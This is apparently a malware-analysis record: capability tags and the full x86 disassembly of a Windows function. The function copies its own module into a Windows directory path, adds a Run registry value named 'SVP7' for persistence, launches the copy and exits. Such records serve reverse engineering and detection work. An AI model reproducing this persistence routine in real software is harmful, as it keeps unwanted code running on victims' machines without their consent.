Function at 0x10003610
Capabilities:
Persist via run registry key
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x430
mov eax, dword [0x1002d00c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x104
lea eax, [ebp - 0x218]
push 0
push eax
call fcn.1000e720
add esp, 0xc
lea eax, [ebp - 0x218]
push 0x104
push eax
push 0
call dword [0x1002e178]
call dword [0x1002e134]
push eax
push 0
push 0x1fffff
call dword [0x1002e148]
lea ecx, [ebp - 0x424]
mov dword [ebp - 0x424], 0x104
push ecx
lea ecx, [ebp - 0x218]
push ecx
push 0
push eax
call dword [0x1002e158]
lea eax, [ebp - 0x218]
push eax
call dword [0x1002e2bc]
push 0
push 0x1c
lea eax, [ebp - 0x110]
push eax
push 0
call dword [0x1002e2a4]
push 0
push 0x1c
lea eax, [ebp - 0x420]
push eax
push 0
call dword [0x1002e2a4]
lea eax, [ebp - 0x110]
push eax
call dword [0x1002e2b0]
test eax, eax
lea eax, [ebp - 0x110]
push eax
je 0x1000371b
call dword [0x1002e2b8]
lea eax, [ebp - 0x420]
push eax
call dword [0x1002e2b8]
lea edx, [ebp - 0x218]
mov esi, edx
nop word [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x100036f0
lea edi, [ebp - 0x110]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003700
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
jmp 0x100037b1
call dword [0x1002e2c0]
lea ecx, [ebp - 0x110]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10003728
mov eax, dword [str.Windows_]
lea edx, [ebp - 0x218]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x10028218]
mov dword [ecx + 4], eax
mov al, byte [0x1002821c]
mov byte [ecx + 8], al
mov al, byte [edx]
inc edx
test al, al
jne 0x10003751
lea edi, [ebp - 0x110]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10003761
mov ecx, edx
lea eax, [ebp - 0x420]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push eax
call dword [0x1002e2c0]
lea ecx, [ebp - 0x420]
dec ecx
nop dword [eax + eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10003790
mov eax, dword [str.Windows_]
mov dword [ecx], eax
mov eax, dword [0x10028218]
mov dword [ecx + 4], eax
mov al, byte [0x1002821c]
mov byte [ecx + 8], al
lea eax, [ebp - 0x110]
push eax
call dword [0x1002e2b0]
test eax, eax
jne 0x1000395b
cmp dword [0x1002dbdc], 1
jne 0x100037d9
push 0x1002db1d
call fcn.10005280
lea ecx, [ebp - 0x420]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x100037e0
mov eax, dword [str.nw_elf.dll]
mov dword [ecx], eax
mov eax, dword [0x10028224]
mov dword [ecx + 4], eax
mov ax, word [0x10028228]
mov word [ecx + 8], ax
mov al, byte [0x1002822a]
mov byte [ecx + 0xa], al
lea eax, [ebp - 0x420]
push 0
push eax
push str.nw_elf.dll
call dword [0x1002e124]
push 0
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [0x1002e124]
test eax, eax
je 0x1000395b
cmp dword [0x1002dbc8], 1
jne 0x1000384b
call fcn.10009d20
movzx eax, word [0x1002d99a]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [0x1002e168]
movzx eax, word [0x1002d99a]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [0x1002e168]
movups xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov eax, dword [0x10028254]
mov dword [ebp - 0x2f0], eax
mov ax, word [0x10028258]
movups xmmword [ebp - 0x318], xmm0
push 0xd2
movups xmm0, xmmword [0x1002823c]
mov word [ebp - 0x2ec], ax
lea eax, [ebp - 0x2ea]
push 0
movups xmmword [ebp - 0x308], xmm0
push eax
movq xmm0, qword [0x1002824c]
mov dword [ebp - 0x428], 2
movq qword [ebp - 0x2f8], xmm0
call fcn.1000e720
add esp, 0xc
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x42c]
push eax
push 0
push 0xf003f
push 0
push 0
push 0
lea eax, [ebp - 0x318]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x110]
push eax
push 1
push 0
push str.SVP7
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
push 0
call dword [0x1002e2a8]
push dword [ebp - 0x42c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x1002dbd0], 1
je 0x10003979
call fcn.100032c0
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.1000c111
mov esp, ebp
pop ebp
ret
call fcn.1000a800
int3